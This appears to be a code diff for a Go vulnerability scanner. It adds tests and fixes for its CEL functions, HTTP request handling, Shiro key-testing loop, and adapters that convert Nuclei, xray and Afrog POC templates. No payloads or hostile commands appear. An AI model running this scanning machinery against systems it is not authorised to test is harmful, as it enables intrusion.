func TestRandomStringLengthValidation(t *testing.T) {
|
||||
customLib := NewEnvOption()
|
||||
env, err := NewEnv(&customLib)
|
||||
if err != nil {
|
||||
t.Fatalf("创建 CEL 环境失败: %v", err)
|
||||
}
|
||||
|
||||
for _, expr := range []string{
|
||||
"randomLowercase(-1)",
|
||||
fmt.Sprintf("randomUppercase(%d)", maxRandomStringLength+1),
|
||||
fmt.Sprintf("randomString(%d)", maxRandomStringLength+1),
|
||||
} {
|
||||
t.Run(expr, func(t *testing.T) {
|
||||
if _, err := Evaluate(env, expr, map[string]interface{}{}); err == nil {
|
||||
t.Fatal("Evaluate() error = nil, want invalid random string length")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// eval_string.go 测试 - 字符串函数
|
||||
// =============================================================================
|
||||
@@ -469,6 +506,12 @@ func TestSubstr(t *testing.T) {
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
t.Run("长度溢出不panic", func(t *testing.T) {
|
||||
if _, err := Evaluate(env, `substr("hello", 1, 9223372036854775807)`, map[string]interface{}{}); err == nil {
|
||||
t.Fatal("Evaluate() error = nil, want invalid substr bounds")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestIStartsWith(t *testing.T) {
|
||||
@@ -1086,6 +1129,45 @@ func TestGetRespBody(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetRespBodyLimitsPlainBody(t *testing.T) {
|
||||
resp := &http.Response{
|
||||
Header: make(http.Header),
|
||||
Body: io.NopCloser(strings.NewReader(strings.Repeat("a", maxPOCResponseBodyBytes+1024))),
|
||||
}
|
||||
|
||||
body, err := getRespBody(resp)
|
||||
if err != nil {
|
||||
t.Fatalf("getRespBody error = %v", err)
|
||||
}
|
||||
if len(body) != maxPOCResponseBodyBytes {
|
||||
t.Fatalf("body len = %d, want %d", len(body), maxPOCResponseBodyBytes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetRespBodyLimitsGzipBody(t *testing.T) {
|
||||
var compressed strings.Builder
|
||||
gzipWriter := gzip.NewWriter(&compressed)
|
||||
if _, err := gzipWriter.Write([]byte(strings.Repeat("a", maxPOCResponseBodyBytes+1024))); err != nil {
|
||||
t.Fatalf("gzip write error = %v", err)
|
||||
}
|
||||
if err := gzipWriter.Close(); err != nil {
|
||||
t.Fatalf("gzip close error = %v", err)
|
||||
}
|
||||
|
||||
resp := &http.Response{
|
||||
Header: http.Header{"Content-Encoding": []string{"gzip"}},
|
||||
Body: io.NopCloser(strings.NewReader(compressed.String())),
|
||||
}
|
||||
|
||||
body, err := getRespBody(resp)
|
||||
if err != nil {
|
||||
t.Fatalf("getRespBody error = %v", err)
|
||||
}
|
||||
if len(body) != maxPOCResponseBodyBytes {
|
||||
t.Fatalf("body len = %d, want %d", len(body), maxPOCResponseBodyBytes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoRequestBuffersUnknownLengthBody(t *testing.T) {
|
||||
previous := ClientNoRedirect
|
||||
defer func() { ClientNoRedirect = previous }()
|
||||
@@ -1124,6 +1206,52 @@ func TestDoRequestBuffersUnknownLengthBody(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoRequestUsesFallbackClientWhenGlobalClientNil(t *testing.T) {
|
||||
previous := ClientNoRedirect
|
||||
ClientNoRedirect = nil
|
||||
defer func() { ClientNoRedirect = previous }()
|
||||
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = w.Write([]byte("ok"))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
req, err := http.NewRequest(http.MethodGet, server.URL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("NewRequest error = %v", err)
|
||||
}
|
||||
|
||||
resp, err := DoRequest(req, false, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("DoRequest error = %v", err)
|
||||
}
|
||||
if string(resp.Body) != "ok" {
|
||||
t.Fatalf("body = %q, want ok", resp.Body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoRequestSkipsNilGMTLSFallback(t *testing.T) {
|
||||
previousNR, previousGM := ClientNoRedirect, ClientNoRedirectGM
|
||||
defer func() {
|
||||
ClientNoRedirect = previousNR
|
||||
ClientNoRedirectGM = previousGM
|
||||
}()
|
||||
|
||||
ClientNoRedirect = &http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
|
||||
return nil, errors.New("standard tls failed")
|
||||
})}
|
||||
ClientNoRedirectGM = nil
|
||||
|
||||
req, err := http.NewRequest(http.MethodGet, "https://example.com", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("NewRequest error = %v", err)
|
||||
}
|
||||
|
||||
if _, err := DoRequest(req, false, nil); err == nil {
|
||||
t.Fatal("DoRequest expected standard TLS error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoRequestReplaysBodyForGMTLSFallback(t *testing.T) {
|
||||
previousNR, previousGM := ClientNoRedirect, ClientNoRedirectGM
|
||||
defer func() {
|
||||
@@ -1208,3 +1336,9 @@ func TestRandomStr(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRandomStrRejectsNegativeLength(t *testing.T) {
|
||||
if got := RandomStr(randSource, "abc", -1); got != "" {
|
||||
t.Fatalf("RandomStr negative length = %q, want empty", got)
|
||||
}
|
||||
}
|
||||
|
||||
+112
-35
@@ -24,6 +24,33 @@ const (
|
||||
FormatUnknown PocFormat = "unknown"
|
||||
)
|
||||
|
||||
type yamlStringList []string
|
||||
|
||||
func (l *yamlStringList) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
var single string
|
||||
if err := unmarshal(&single); err == nil {
|
||||
if single != "" {
|
||||
*l = []string{single}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var list []interface{}
|
||||
if err := unmarshal(&list); err != nil {
|
||||
return err
|
||||
}
|
||||
values := make([]string, 0, len(list))
|
||||
for _, item := range list {
|
||||
values = append(values, fmt.Sprintf("%v", item))
|
||||
}
|
||||
*l = values
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l yamlStringList) String() string {
|
||||
return strings.Join(l, ", ")
|
||||
}
|
||||
|
||||
// UniversalPoc 通用POC接口 - 所有格式都要实现这个接口
|
||||
type UniversalPoc interface {
|
||||
GetName() string // 获取POC名称
|
||||
@@ -145,26 +172,29 @@ type NucleiPoc struct {
|
||||
ID string `yaml:"id"`
|
||||
Info struct {
|
||||
Name string `yaml:"name"`
|
||||
Author string `yaml:"author"`
|
||||
Author yamlStringList `yaml:"author"`
|
||||
Severity string `yaml:"severity"`
|
||||
Description string `yaml:"description"`
|
||||
Reference []string `yaml:"reference"`
|
||||
Reference yamlStringList `yaml:"reference"`
|
||||
} `yaml:"info"`
|
||||
HTTP []struct {
|
||||
Method string `yaml:"method"`
|
||||
Path []string `yaml:"path"`
|
||||
Headers map[string]string `yaml:"headers"`
|
||||
Body string `yaml:"body"`
|
||||
Matchers []struct {
|
||||
Matchers []NucleiMatcher `yaml:"matchers"`
|
||||
MatchersCondition string `yaml:"matchers-condition"`
|
||||
} `yaml:"http"`
|
||||
}
|
||||
|
||||
type NucleiMatcher struct {
|
||||
Type string `yaml:"type"`
|
||||
Words []string `yaml:"words"`
|
||||
Status []int `yaml:"status"`
|
||||
Regex []string `yaml:"regex"`
|
||||
Condition string `yaml:"condition"`
|
||||
Part string `yaml:"part"`
|
||||
} `yaml:"matchers"`
|
||||
MatchersCondition string `yaml:"matchers-condition"`
|
||||
} `yaml:"http"`
|
||||
Negative bool `yaml:"negative"`
|
||||
}
|
||||
|
||||
// NucleiPocAdapter Nuclei格式适配器
|
||||
@@ -198,9 +228,9 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) {
|
||||
poc := &Poc{
|
||||
Name: n.GetName(),
|
||||
Detail: Detail{
|
||||
Author: n.Info.Author,
|
||||
Author: n.Info.Author.String(),
|
||||
Description: n.Info.Description,
|
||||
Links: n.Info.Reference,
|
||||
Links: []string(n.Info.Reference),
|
||||
},
|
||||
}
|
||||
|
||||
@@ -221,7 +251,7 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) {
|
||||
for _, path := range paths {
|
||||
rule := Rules{
|
||||
Method: method,
|
||||
Path: path,
|
||||
Path: normalizeNucleiPath(path),
|
||||
Headers: httpReq.Headers,
|
||||
Body: httpReq.Body,
|
||||
}
|
||||
@@ -246,26 +276,27 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) {
|
||||
return poc, nil
|
||||
}
|
||||
|
||||
func normalizeNucleiPath(path string) string {
|
||||
path = strings.TrimSpace(path)
|
||||
path = strings.TrimPrefix(path, "{{BaseURL}}")
|
||||
path = strings.TrimPrefix(path, "{{RootURL}}")
|
||||
if path == "" {
|
||||
return "/"
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
// convertNucleiMatchers 转换Nuclei matchers为fscan expression
|
||||
func convertNucleiMatchers(matchers []struct {
|
||||
Type string `yaml:"type"`
|
||||
Words []string `yaml:"words"`
|
||||
Status []int `yaml:"status"`
|
||||
Regex []string `yaml:"regex"`
|
||||
Condition string `yaml:"condition"`
|
||||
Part string `yaml:"part"`
|
||||
}, matchersCondition string) string {
|
||||
func convertNucleiMatchers(matchers []NucleiMatcher, matchersCondition string) string {
|
||||
var conditions []string
|
||||
|
||||
for _, m := range matchers {
|
||||
var matcherConds []string
|
||||
|
||||
switch m.Type {
|
||||
switch strings.ToLower(m.Type) {
|
||||
case "word":
|
||||
for _, word := range m.Words {
|
||||
// 转义双引号
|
||||
escapedWord := strings.ReplaceAll(word, `"`, `\"`)
|
||||
matcherConds = append(matcherConds, fmt.Sprintf(`response.body.bcontains(b"%s")`, escapedWord))
|
||||
matcherConds = append(matcherConds, nucleiWordCondition(m.Part, word))
|
||||
}
|
||||
case "status":
|
||||
for _, status := range m.Status {
|
||||
@@ -273,9 +304,7 @@ func convertNucleiMatchers(matchers []struct {
|
||||
}
|
||||
case "regex":
|
||||
for _, pattern := range m.Regex {
|
||||
// 简化处理:直接用bmatches
|
||||
escapedPattern := strings.ReplaceAll(pattern, `"`, `\"`)
|
||||
matcherConds = append(matcherConds, fmt.Sprintf(`response.body.bmatches(b"%s")`, escapedPattern))
|
||||
matcherConds = append(matcherConds, nucleiRegexCondition(m.Part, pattern))
|
||||
}
|
||||
case "dsl":
|
||||
// DSL类型暂不支持,使用默认匹配
|
||||
@@ -285,16 +314,20 @@ func convertNucleiMatchers(matchers []struct {
|
||||
// 单个matcher内的条件组合
|
||||
if len(matcherConds) > 0 {
|
||||
connector := " && "
|
||||
if m.Condition == "or" {
|
||||
if strings.EqualFold(m.Condition, "or") {
|
||||
connector = " || "
|
||||
}
|
||||
|
||||
var combined string
|
||||
if len(matcherConds) == 1 {
|
||||
conditions = append(conditions, matcherConds[0])
|
||||
combined = matcherConds[0]
|
||||
} else {
|
||||
combined := "(" + strings.Join(matcherConds, connector) + ")"
|
||||
conditions = append(conditions, combined)
|
||||
combined = "(" + strings.Join(matcherConds, connector) + ")"
|
||||
}
|
||||
if m.Negative {
|
||||
combined = "!(" + combined + ")"
|
||||
}
|
||||
conditions = append(conditions, combined)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -308,13 +341,57 @@ func convertNucleiMatchers(matchers []struct {
|
||||
|
||||
// 多个matcher之间的条件组合
|
||||
connector := " && "
|
||||
if matchersCondition == "or" {
|
||||
if strings.EqualFold(matchersCondition, "or") {
|
||||
connector = " || "
|
||||
}
|
||||
|
||||
return strings.Join(conditions, connector)
|
||||
}
|
||||
|
||||
func nucleiWordCondition(part, word string) string {
|
||||
word = escapeCELBytesLiteral(word)
|
||||
switch normalizeMatcherPart(part) {
|
||||
case "header":
|
||||
return fmt.Sprintf(`response.headers.exists(k, bytes(k + ": " + response.headers[k]).bcontains(b"%s"))`, word)
|
||||
case "all":
|
||||
return fmt.Sprintf(`(response.body.bcontains(b"%s") || response.headers.exists(k, bytes(k + ": " + response.headers[k]).bcontains(b"%s")))`, word, word)
|
||||
default:
|
||||
return fmt.Sprintf(`response.body.bcontains(b"%s")`, word)
|
||||
}
|
||||
}
|
||||
|
||||
func nucleiRegexCondition(part, pattern string) string {
|
||||
pattern = escapeCELStringLiteral(pattern)
|
||||
switch normalizeMatcherPart(part) {
|
||||
case "header":
|
||||
return fmt.Sprintf(`response.headers.exists(k, "%s".bmatches(bytes(k + ": " + response.headers[k])))`, pattern)
|
||||
case "all":
|
||||
return fmt.Sprintf(`("%s".bmatches(response.body) || response.headers.exists(k, "%s".bmatches(bytes(k + ": " + response.headers[k]))))`, pattern, pattern)
|
||||
default:
|
||||
return fmt.Sprintf(`"%s".bmatches(response.body)`, pattern)
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeMatcherPart(part string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(part)) {
|
||||
case "header", "headers", "all_headers":
|
||||
return "header"
|
||||
case "all":
|
||||
return "all"
|
||||
default:
|
||||
return "body"
|
||||
}
|
||||
}
|
||||
|
||||
func escapeCELBytesLiteral(s string) string {
|
||||
s = strings.ReplaceAll(s, `\`, `\\`)
|
||||
return strings.ReplaceAll(s, `"`, `\"`)
|
||||
}
|
||||
|
||||
func escapeCELStringLiteral(s string) string {
|
||||
return escapeCELBytesLiteral(s)
|
||||
}
|
||||
|
||||
// ============= xray格式适配器 =============
|
||||
|
||||
// XrayPoc xray POC结构
|
||||
@@ -393,7 +470,7 @@ func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) {
|
||||
// 展开 request 对象为 fscan Rule
|
||||
fscanRule := Rules{
|
||||
Method: rule.Request.Method,
|
||||
Path: rule.Request.Path,
|
||||
Path: normalizeNucleiPath(rule.Request.Path),
|
||||
Headers: rule.Request.Headers,
|
||||
Body: rule.Request.Body,
|
||||
FollowRedirects: rule.Request.FollowRedirects,
|
||||
@@ -427,11 +504,11 @@ type AfrogPoc struct {
|
||||
ID string `yaml:"id"`
|
||||
Info struct {
|
||||
Name string `yaml:"name"`
|
||||
Author string `yaml:"author"`
|
||||
Author yamlStringList `yaml:"author"`
|
||||
Severity string `yaml:"severity"`
|
||||
Verified bool `yaml:"verified"`
|
||||
Description string `yaml:"description"`
|
||||
Reference []string `yaml:"reference"`
|
||||
Reference yamlStringList `yaml:"reference"`
|
||||
Tags string `yaml:"tags"`
|
||||
Created string `yaml:"created"`
|
||||
} `yaml:"info"`
|
||||
@@ -472,9 +549,9 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) {
|
||||
poc := &Poc{
|
||||
Name: a.GetName(),
|
||||
Detail: Detail{
|
||||
Author: a.Info.Author,
|
||||
Author: a.Info.Author.String(),
|
||||
Description: a.Info.Description,
|
||||
Links: a.Info.Reference,
|
||||
Links: []string(a.Info.Reference),
|
||||
},
|
||||
}
|
||||
|
||||
@@ -499,7 +576,7 @@ func (a *AfrogPocAdapter) ToFscanPoc() (*Poc, error) {
|
||||
|
||||
fscanRule := Rules{
|
||||
Method: rule.Request.Method,
|
||||
Path: rule.Request.Path,
|
||||
Path: normalizeNucleiPath(rule.Request.Path),
|
||||
Headers: rule.Request.Headers,
|
||||
Body: rule.Request.Body,
|
||||
FollowRedirects: rule.Request.FollowRedirects,
|
||||
|
||||
+225
-42
@@ -3,6 +3,8 @@ package lib
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/google/cel-go/common/types"
|
||||
)
|
||||
|
||||
// TestDetectPocFormat 测试POC格式检测
|
||||
@@ -168,6 +170,9 @@ http:
|
||||
if len(poc.Rules) != 2 {
|
||||
t.Errorf("len(Poc.Rules) = %v, want %v", len(poc.Rules), 2)
|
||||
}
|
||||
if poc.Rules[0].Path != "/admin" || poc.Rules[1].Path != "/api" {
|
||||
t.Fatalf("Nuclei paths = %q, %q; want /admin, /api", poc.Rules[0].Path, poc.Rules[1].Path)
|
||||
}
|
||||
|
||||
if poc.Detail.Author != "pdteam" {
|
||||
t.Errorf("Poc.Detail.Author = %v, want %v", poc.Detail.Author, "pdteam")
|
||||
@@ -179,31 +184,101 @@ http:
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeNucleiPath(t *testing.T) {
|
||||
tests := []struct {
|
||||
in string
|
||||
want string
|
||||
}{
|
||||
{"{{BaseURL}}", "/"},
|
||||
{"{{BaseURL}}/admin", "/admin"},
|
||||
{"{{RootURL}}/login", "/login"},
|
||||
{" {{BaseURL}}/api?q=1 ", "/api?q=1"},
|
||||
{"/plain", "/plain"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.in, func(t *testing.T) {
|
||||
if got := normalizeNucleiPath(tt.in); got != tt.want {
|
||||
t.Fatalf("normalizeNucleiPath(%q) = %q, want %q", tt.in, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestNucleiInfoAcceptsScalarAndListMetadata(t *testing.T) {
|
||||
yaml := `
|
||||
id: metadata-flex
|
||||
info:
|
||||
name: Metadata Flex
|
||||
author:
|
||||
- alice
|
||||
- bob
|
||||
reference: https://example.com/ref
|
||||
http:
|
||||
- path:
|
||||
- "{{BaseURL}}"
|
||||
`
|
||||
|
||||
adapter, err := loadNucleiPoc([]byte(yaml))
|
||||
if err != nil {
|
||||
t.Fatalf("loadNucleiPoc() error = %v", err)
|
||||
}
|
||||
poc, err := adapter.ToFscanPoc()
|
||||
if err != nil {
|
||||
t.Fatalf("ToFscanPoc() error = %v", err)
|
||||
}
|
||||
if poc.Detail.Author != "alice, bob" {
|
||||
t.Fatalf("Author = %q, want alice, bob", poc.Detail.Author)
|
||||
}
|
||||
if len(poc.Detail.Links) != 1 || poc.Detail.Links[0] != "https://example.com/ref" {
|
||||
t.Fatalf("Links = %#v, want scalar reference converted to slice", poc.Detail.Links)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAfrogInfoAcceptsScalarAndListMetadata(t *testing.T) {
|
||||
yaml := `
|
||||
id: afrog-metadata-flex
|
||||
info:
|
||||
name: Afrog Metadata Flex
|
||||
author: carol
|
||||
reference:
|
||||
- https://example.com/a
|
||||
- https://example.com/b
|
||||
rules:
|
||||
r0:
|
||||
request:
|
||||
method: GET
|
||||
path: "{{BaseURL}}/panel"
|
||||
expression: response.status == 200
|
||||
`
|
||||
|
||||
adapter, err := loadAfrogPoc([]byte(yaml))
|
||||
if err != nil {
|
||||
t.Fatalf("loadAfrogPoc() error = %v", err)
|
||||
}
|
||||
poc, err := adapter.ToFscanPoc()
|
||||
if err != nil {
|
||||
t.Fatalf("ToFscanPoc() error = %v", err)
|
||||
}
|
||||
if poc.Detail.Author != "carol" {
|
||||
t.Fatalf("Author = %q, want carol", poc.Detail.Author)
|
||||
}
|
||||
if len(poc.Detail.Links) != 2 {
|
||||
t.Fatalf("Links = %#v, want two references", poc.Detail.Links)
|
||||
}
|
||||
}
|
||||
|
||||
// TestConvertNucleiMatchers 测试Nuclei matcher转换
|
||||
func TestConvertNucleiMatchers(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
matchers []struct {
|
||||
Type string `yaml:"type"`
|
||||
Words []string `yaml:"words"`
|
||||
Status []int `yaml:"status"`
|
||||
Regex []string `yaml:"regex"`
|
||||
Condition string `yaml:"condition"`
|
||||
Part string `yaml:"part"`
|
||||
}
|
||||
matchers []NucleiMatcher
|
||||
matchersCondition string
|
||||
wantContains string
|
||||
}{
|
||||
{
|
||||
name: "单个word matcher",
|
||||
matchers: []struct {
|
||||
Type string `yaml:"type"`
|
||||
Words []string `yaml:"words"`
|
||||
Status []int `yaml:"status"`
|
||||
Regex []string `yaml:"regex"`
|
||||
Condition string `yaml:"condition"`
|
||||
Part string `yaml:"part"`
|
||||
}{
|
||||
matchers: []NucleiMatcher{
|
||||
{
|
||||
Type: "word",
|
||||
Words: []string{"admin"},
|
||||
@@ -214,14 +289,7 @@ func TestConvertNucleiMatchers(t *testing.T) {
|
||||
},
|
||||
{
|
||||
name: "单个status matcher",
|
||||
matchers: []struct {
|
||||
Type string `yaml:"type"`
|
||||
Words []string `yaml:"words"`
|
||||
Status []int `yaml:"status"`
|
||||
Regex []string `yaml:"regex"`
|
||||
Condition string `yaml:"condition"`
|
||||
Part string `yaml:"part"`
|
||||
}{
|
||||
matchers: []NucleiMatcher{
|
||||
{
|
||||
Type: "status",
|
||||
Status: []int{200},
|
||||
@@ -232,14 +300,7 @@ func TestConvertNucleiMatchers(t *testing.T) {
|
||||
},
|
||||
{
|
||||
name: "多个matcher - AND条件",
|
||||
matchers: []struct {
|
||||
Type string `yaml:"type"`
|
||||
Words []string `yaml:"words"`
|
||||
Status []int `yaml:"status"`
|
||||
Regex []string `yaml:"regex"`
|
||||
Condition string `yaml:"condition"`
|
||||
Part string `yaml:"part"`
|
||||
}{
|
||||
matchers: []NucleiMatcher{
|
||||
{
|
||||
Type: "word",
|
||||
Words: []string{"admin"},
|
||||
@@ -254,14 +315,7 @@ func TestConvertNucleiMatchers(t *testing.T) {
|
||||
},
|
||||
{
|
||||
name: "多个matcher - OR条件",
|
||||
matchers: []struct {
|
||||
Type string `yaml:"type"`
|
||||
Words []string `yaml:"words"`
|
||||
Status []int `yaml:"status"`
|
||||
Regex []string `yaml:"regex"`
|
||||
Condition string `yaml:"condition"`
|
||||
Part string `yaml:"part"`
|
||||
}{
|
||||
matchers: []NucleiMatcher{
|
||||
{
|
||||
Type: "word",
|
||||
Words: []string{"admin"},
|
||||
@@ -299,6 +353,129 @@ func TestConvertNucleiMatchers(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestConvertNucleiMatchersEscapesCELByteLiterals(t *testing.T) {
|
||||
matchers := []NucleiMatcher{
|
||||
{
|
||||
Type: "word",
|
||||
Words: []string{`C:\Windows "System32"`},
|
||||
},
|
||||
{
|
||||
Type: "regex",
|
||||
Regex: []string{`admin\\d+"`},
|
||||
},
|
||||
}
|
||||
|
||||
expr := convertNucleiMatchers(matchers, "and")
|
||||
if !strings.Contains(expr, `C:\\Windows \"System32\"`) {
|
||||
t.Fatalf("word matcher was not escaped correctly: %s", expr)
|
||||
}
|
||||
if !strings.Contains(expr, `admin\\\\d+\"`) {
|
||||
t.Fatalf("regex matcher was not escaped correctly: %s", expr)
|
||||
}
|
||||
if !strings.Contains(expr, `.bmatches(response.body)`) {
|
||||
t.Fatalf("regex matcher should use pattern receiver and response body argument: %s", expr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConvertNucleiMatchersRespectsHeaderPart(t *testing.T) {
|
||||
expr := convertNucleiMatchers([]NucleiMatcher{
|
||||
{
|
||||
Type: "word",
|
||||
Words: []string{"nginx"},
|
||||
Part: "header",
|
||||
},
|
||||
}, "")
|
||||
|
||||
result, err := Evaluate(GetBaseEnv(), expr, map[string]interface{}{
|
||||
"response": &Response{
|
||||
Headers: map[string]string{"Server": "nginx"},
|
||||
Body: []byte("no match in body"),
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("Evaluate(%q) error = %v", expr, err)
|
||||
}
|
||||
if result != types.True {
|
||||
t.Fatalf("header matcher result = %v, want true; expr = %s", result, expr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConvertNucleiMatchersRespectsAllPart(t *testing.T) {
|
||||
expr := convertNucleiMatchers([]NucleiMatcher{
|
||||
{
|
||||
Type: "regex",
|
||||
Regex: []string{`JSESSIONID=\w+`},
|
||||
Part: "all",
|
||||
},
|
||||
}, "")
|
||||
|
||||
result, err := Evaluate(GetBaseEnv(), expr, map[string]interface{}{
|
||||
"response": &Response{
|
||||
Headers: map[string]string{"Set-Cookie": "JSESSIONID=abc123"},
|
||||
Body: []byte("no match in body"),
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("Evaluate(%q) error = %v", expr, err)
|
||||
}
|
||||
if result != types.True {
|
||||
t.Fatalf("all matcher result = %v, want true; expr = %s", result, expr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConvertNucleiMatchersRespectsNegative(t *testing.T) {
|
||||
expr := convertNucleiMatchers([]NucleiMatcher{
|
||||
{
|
||||
Type: "word",
|
||||
Words: []string{"error"},
|
||||
Negative: true,
|
||||
},
|
||||
}, "")
|
||||
|
||||
result, err := Evaluate(GetBaseEnv(), expr, map[string]interface{}{
|
||||
"response": &Response{Body: []byte("fatal error")},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("Evaluate(%q) error = %v", expr, err)
|
||||
}
|
||||
if result != types.False {
|
||||
t.Fatalf("negative matcher result = %v, want false; expr = %s", result, expr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConvertNucleiMatchersConditionIsCaseInsensitive(t *testing.T) {
|
||||
expr := convertNucleiMatchers([]NucleiMatcher{
|
||||
{
|
||||
Type: "word",
|
||||
Words: []string{"alpha", "beta"},
|
||||
Condition: "OR",
|
||||
},
|
||||
}, "AND")
|
||||
if !strings.Contains(expr, " || ") {
|
||||
t.Fatalf("matcher condition should be case-insensitive OR: %s", expr)
|
||||
}
|
||||
|
||||
expr = convertNucleiMatchers([]NucleiMatcher{
|
||||
{Type: "word", Words: []string{"alpha"}},
|
||||
{Type: "word", Words: []string{"beta"}},
|
||||
}, "OR")
|
||||
if !strings.Contains(expr, " || ") {
|
||||
t.Fatalf("matchers-condition should be case-insensitive OR: %s", expr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConvertNucleiMatchersTypeIsCaseInsensitive(t *testing.T) {
|
||||
expr := convertNucleiMatchers([]NucleiMatcher{
|
||||
{
|
||||
Type: "WORD",
|
||||
Words: []string{"admin"},
|
||||
},
|
||||
}, "")
|
||||
if !strings.Contains(expr, `response.body.bcontains(b"admin")`) {
|
||||
t.Fatalf("matcher type should be case-insensitive: %s", expr)
|
||||
}
|
||||
}
|
||||
|
||||
// contains 检查字符串是否包含子串
|
||||
func contains(s, substr string) bool {
|
||||
return len(s) >= len(substr) && (s == substr || len(s) > len(substr) && hasSubstring(s, substr))
|
||||
@@ -406,7 +583,7 @@ rules:
|
||||
r1:
|
||||
request:
|
||||
method: GET
|
||||
path: /admin/dashboard
|
||||
path: "{{BaseURL}}/admin/dashboard"
|
||||
headers:
|
||||
Cookie: "{{cookie}}"
|
||||
expression: response.status == 200
|
||||
@@ -445,6 +622,9 @@ detail:
|
||||
if poc.Rules[1].Headers["Cookie"] != `{{cookie}}` {
|
||||
t.Errorf("Rules[1].Headers[Cookie] = %q, want %q", poc.Rules[1].Headers["Cookie"], `{{cookie}}`)
|
||||
}
|
||||
if poc.Rules[1].Path != "/admin/dashboard" {
|
||||
t.Errorf("Rules[1].Path = %q, want /admin/dashboard", poc.Rules[1].Path)
|
||||
}
|
||||
}
|
||||
|
||||
// TestXrayNoOutput 测试 xray 没有 output 字段时 Search 为空(回归)
|
||||
@@ -503,7 +683,7 @@ rules:
|
||||
r1:
|
||||
request:
|
||||
method: GET
|
||||
path: /panel
|
||||
path: "{{BaseURL}}/panel"
|
||||
headers:
|
||||
Cookie: "{{sessid}}"
|
||||
expression: response.status == 200 && response.body.bcontains(b"admin")
|
||||
@@ -531,4 +711,7 @@ rules:
|
||||
if poc.Rules[1].Headers["Cookie"] != `{{sessid}}` {
|
||||
t.Errorf("Rules[1].Headers[Cookie] = %q, want %q", poc.Rules[1].Headers["Cookie"], `{{sessid}}`)
|
||||
}
|
||||
if poc.Rules[1].Path != "/panel" {
|
||||
t.Errorf("Rules[1].Path = %q, want /panel", poc.Rules[1].Path)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -359,7 +359,7 @@ func doSearch(re string, body string) map[string]string {
|
||||
if len(result) > 1 && len(names) > 1 {
|
||||
paramsMap := make(map[string]string)
|
||||
for i, name := range names {
|
||||
if i > 0 && i <= len(result) {
|
||||
if i > 0 && i < len(result) && name != "" {
|
||||
// 特殊处理Set-Cookie头:剥离Path/Expires等属性,仅保留key=value
|
||||
if strings.HasPrefix(re, "Set-Cookie:") {
|
||||
paramsMap[name] = optimizeCookies(result[i])
|
||||
@@ -470,7 +470,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
for comboIndex, paramCombo := range setsMap {
|
||||
// Shiro Key测试特殊处理:默认只测试10个key
|
||||
if p.Name == "poc-yaml-shiro-key" && !pocCtx.POCFull && comboIndex >= 10 {
|
||||
if paramCombo[1] == "cbc" {
|
||||
if shiroKeyMode(paramCombo) == "cbc" {
|
||||
continue
|
||||
}
|
||||
if shiroKeyCount == 0 {
|
||||
@@ -554,6 +554,13 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{},
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func shiroKeyMode(paramCombo []string) string {
|
||||
if len(paramCombo) < 2 {
|
||||
return ""
|
||||
}
|
||||
return paramCombo[1]
|
||||
}
|
||||
|
||||
// applyParametersToRule 将参数应用到规则中,返回是否有替换发生和替换的参数列表
|
||||
// 这是一个纯函数,不修改原始规则,而是修改传入的currentRule指针
|
||||
func applyParametersToRule(
|
||||
|
||||
@@ -425,3 +425,111 @@ func TestApplyParametersToRule(t *testing.T) {
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestPocExecutorPureHelpers(t *testing.T) {
|
||||
t.Run("isFuzz detects placeholders", func(t *testing.T) {
|
||||
sets := ListMap{{Key: "token", Value: []string{"a", "b"}}}
|
||||
if !isFuzz(Rules{Headers: map[string]string{"X-Token": "{{token}}"}}, sets) {
|
||||
t.Fatal("header placeholder should require fuzzing")
|
||||
}
|
||||
if !isFuzz(Rules{Path: "/api/{{token}}"}, sets) {
|
||||
t.Fatal("path placeholder should require fuzzing")
